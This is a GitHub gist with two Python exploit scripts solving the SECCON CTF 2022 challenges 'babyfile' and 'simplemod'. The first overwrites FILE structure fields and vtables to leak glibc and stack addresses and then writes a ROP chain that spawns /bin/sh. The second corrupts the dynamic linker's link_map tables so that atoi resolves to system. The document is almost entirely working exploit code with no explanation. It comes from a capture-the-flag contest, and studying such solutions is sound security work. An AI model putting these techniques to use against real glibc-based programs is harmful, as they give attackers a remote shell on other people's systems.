Created
November 13, 2022 05:22
-
-
Save shift-crops/ff8c9f60660e2e7ab0e8c9f615c63176 to your computer and use it in GitHub Desktop.
SECCON CTF 2022 babyfile/simplemod
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py | |
bin_file = './chall' | |
context(os = 'linux', arch = 'amd64') | |
# context.log_level = 'debug' | |
#========== | |
env = Environment('debug', 'local', 'remote') | |
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') | |
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ | |
local = {'argv':[bin_file]}, \ | |
remote = {'host':'babyfile.seccon.games', 'port':3157}) | |
env.set_item('libc', debug = None, \ | |
local = None, \ | |
remote = 'libc-2.31.so') | |
env.select() | |
#========== | |
binf = ELF(bin_file) | |
libc = ELF(env.libc) if env.libc else binf.libc | |
offset_libc_wfile_jumps = libc.symbols['_IO_wfile_jumps'] | |
#========== | |
def attack(conn, **kwargs): | |
bf = BabyFile(conn) | |
bf.set_u8(File.flags, 0) | |
bf.set_u8(File.vtable, 0xa0-0x18) | |
bf.sync() # _IO_new_file_seekoff | |
bf.set_u8(File.vtable, 0xa0-0x48) | |
bf.sync() # _IO_new_file_overflow | |
bf.set_u8(File.io_read_end, 0x70) | |
bf.set_u8(File.io_write_base, 0x70) | |
bf.set_u8(File.fileno, int(constants.STDOUT_FILENO)) | |
bf.set_u8(File.vtable, 0xa0) | |
bf.sync() # _IO_new_file_sync | |
addr_libc_wfile_jumps = u64(conn.recv(8)) | |
libc.address = addr_libc_wfile_jumps - offset_libc_wfile_jumps | |
info('addr_libc_base = 0x{:08x}'.format(libc.address)) | |
addr_libc_environ = libc.symbols['environ'] | |
addr_libc_mem_jumps = addr_libc_wfile_jumps + 0x180 | |
addr_libc_file_jumps = libc.symbols['_IO_file_jumps'] | |
addr_libc_str_sh = next(libc.search(b'/bin/sh')) | |
bf.set_u64(File.io_read_end, addr_libc_environ) | |
bf.set_u64(File.io_write_base, addr_libc_environ) | |
bf.set_u64(File.io_write_ptr, addr_libc_environ+8) | |
bf.sync() # _IO_new_file_sync | |
addr_stack = u64(conn.recv(8)) - 0x120 | |
info('addr_stack = 0x{:08x}'.format(addr_stack)) | |
def writemem(addr, data): | |
data = data.ljust((len(data)+0xf)//0x10*0x10, b'\x00') | |
bf.set_u64(File.vtable, addr_libc_mem_jumps) | |
for i, d in enumerate([(data[i:i+8], data[i+8:i+0x10]) for i in range(0,len(data), 0x10)]): | |
f,s = u64(d[0]), u64(d[1]) | |
bf.set_u64(File.io_write_base, f) | |
bf.set_u64(File.io_write_ptr, f+s) | |
bf.set_u64(File.bufloc, addr+0x10*i) | |
bf.set_u64(File.sizeloc, addr+0x10*i+8) | |
bf.sync() # _IO_mem_sync | |
rop = ROP(libc) | |
rop.system(addr_libc_str_sh) | |
rop.exit(0) | |
writemem(addr_stack+0x18, bytes(rop)) | |
writemem(addr_stack, p64(rop.ret_24.address)) | |
class BabyFile: | |
def __init__(self, conn): | |
self.recv = conn.recv | |
self.recvuntil = conn.recvuntil | |
self.recvline = conn.recvline | |
self.unrecv = conn.unrecv | |
self.send = conn.send | |
self.sendline = conn.sendline | |
self.sendafter = conn.sendafter | |
self.sendlineafter = conn.sendlineafter | |
def exit(self): | |
self.sendlineafter(b'> ', b'0') | |
def sync(self): | |
self.sendlineafter(b'> ', b'1') | |
def set_u8(self, ofs, val): | |
self.sendlineafter(b'> ', b'2') | |
self.sendlineafter(b'offset:', str(ofs).encode()) | |
self.sendlineafter(b'value:', str(val).encode()) | |
def set_u64(self, ofs, val): | |
for i in range(8): | |
self.set_u8(ofs+i, (val>>(8*i))&0xff) | |
class File: | |
flags = 0 | |
io_read_end = 0x10 | |
io_write_base = 0x20 | |
io_write_ptr = 0x28 | |
io_buf_base = 0x38 | |
io_buf_end = 0x40 | |
fileno = 0x70 | |
vtable = 0xd8 | |
bufloc = 0xf0 | |
sizeloc = 0xf8 | |
#========== | |
def main(): | |
comn = Communicate(env.mode, **env.target) | |
comn.connect() | |
comn.run(attack) | |
comn.interactive() | |
if __name__=='__main__': | |
main() | |
#========== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py | |
bin_file = './chall' | |
context(os = 'linux', arch = 'amd64') | |
# context.log_level = 'debug' | |
#========== | |
env = Environment('debug', 'local', 'rlocal', 'remote') | |
env.set_item('mode', debug = 'DEBUG', local = 'PROC', rlocal = 'SOCKET', remote = 'SOCKET') | |
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':'set follow-fork-mode parent\nset $map = ((struct link_map*)0x00007ffff7fc7000)'}, \ | |
local = {'argv':[bin_file]}, \ | |
rlocal = {'host':'localhost', 'port':7250}, \ | |
remote = {'host':'simplemod.seccon.games', 'port':7250}) | |
env.select() | |
#========== | |
libm = ELF('libmod.so') | |
ofs_libm_gotplt = libm.sep_section['.got.plt'] | |
ofs_libm_got_atoi = libm.got['atoi'] | |
ofs_libm_gbuf = libm.symbols['gbuf'] | |
# ofs_libm_plt_scf = libm.plt['__stack_chk_fail'] | |
ofs_libm_call_scf = 0x1263 | |
elf64_sym = struct.Struct("<LBBHQQ") | |
elf64_rela = struct.Struct("<QQq") | |
#========== | |
def attack(conn, rep_argl, ofs_map, **kwargs): | |
ofs_m2c = rep_argl[0] | |
sm = SimpleMod(conn) | |
libm_map = LinkMap(ofs_map) | |
libc_map = LinkMap(ofs_map + ofs_m2c) | |
sm.char(libc_map.l_addr, 0x1b) | |
ofs_gbuf = ofs_libm_gbuf - ofs_libm_gotplt | |
new_ent = 13 | |
sm.char(libm_map.l_info['DT_STRTAB'], 0xd8) # .got.plt (DT_PLTGOT) | |
sm.data(0, b'exit_imm\x00system\x00') | |
sm.char(libm_map.l_info['DT_SYMTAB'], 0xd8) | |
sm.data(elf64_sym.size*9-ofs_gbuf, elf64_sym.pack(ofs_gbuf, 0x12, 0, 0xe, ofs_libm_call_scf, 0x00)) # exit_imm -> stack_chk_fail | |
sm.data(elf64_sym.size*new_ent-ofs_gbuf, elf64_sym.pack(ofs_gbuf+9, 0x12, 0, 0x0, 0, 0x0)) # new entry for system | |
sm.char(libm_map.l_info['DT_JMPREL'], 0xe0) # gbuf | |
sm.data(elf64_rela.size*1, elf64_rela.pack(ofs_libm_got_atoi, (new_ent<<32) | 7, 0)) # resolve stack_chk_fail (system+0x1b) -> GOT[atoi] | |
sm.exit() | |
conn.sendlineafter(b'> ', b'/bin/sh') | |
def check_linkmap(conn, rep_argl, prog=None, **kwargs): | |
ofs = rep_argl[0] | |
if prog is not None: | |
prog.status('0x{:04x}'.format(ofs)) | |
sm = SimpleMod(conn) | |
libm_map = LinkMap(ofs) | |
sm.char(libm_map.l_addr, 0x19) | |
sm.exit() | |
conn.recvuntil(b'MENU') | |
class SimpleMod: | |
def __init__(self, conn): | |
self.recv = conn.recv | |
self.recvuntil = conn.recvuntil | |
self.recvline = conn.recvline | |
self.unrecv = conn.unrecv | |
self.send = conn.send | |
self.sendline = conn.sendline | |
self.sendafter = conn.sendafter | |
self.sendlineafter = conn.sendlineafter | |
def char(self, offset, v): | |
self.sendlineafter(b'> ', b'1') | |
self.sendlineafter(b'offset: ', str(offset).encode()) | |
self.sendlineafter(b'value: ', str(v).encode()) | |
def data(self, offset, data): | |
for i, num in enumerate(data): | |
if num == 0: | |
continue | |
self.char(offset+i, num) | |
def exit(self): | |
self.sendlineafter(b'> ', b'0') | |
class LinkMap: | |
def __init__(self, addr): | |
info_tag = {'DT_STRTAB':5, 'DT_SYMTAB':6, 'DT_JMPREL':23} | |
self.l_addr = addr | |
self.l_info = { k: addr+0x40+8*v for (k,v) in info_tag.items() } | |
#========== | |
def main(): | |
if env.check(['debug', 'local']): | |
os.environ['LD_LIBRARY_PATH'] = '.' | |
comn = Communicate(env.mode, **env.target) | |
comn.quiet = True | |
comn.connect() | |
ofs_map = (list(comn.repeat(check_linkmap, True, [0xf80, 0x10b0, 0x1150, 0x13e0, 0x14e0])) + [None])[0] | |
if ofs_map is None: | |
with log.progress('Finding map ') as p: | |
ofs_map = comn.repeat(check_linkmap, True, range(0xf80, 0x2000, 0x10), prog=p)[0] | |
info('libmod link_map offset: 0x{:04x}'.format(ofs_map)) | |
comn.quiet = False | |
comn.connect() | |
comn.repeat(attack, True, [0x560, 0x570, 0x580, 0x550], ofs_map=ofs_map) | |
comn.interactive() | |
if __name__=='__main__': | |
main() | |
#========== |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment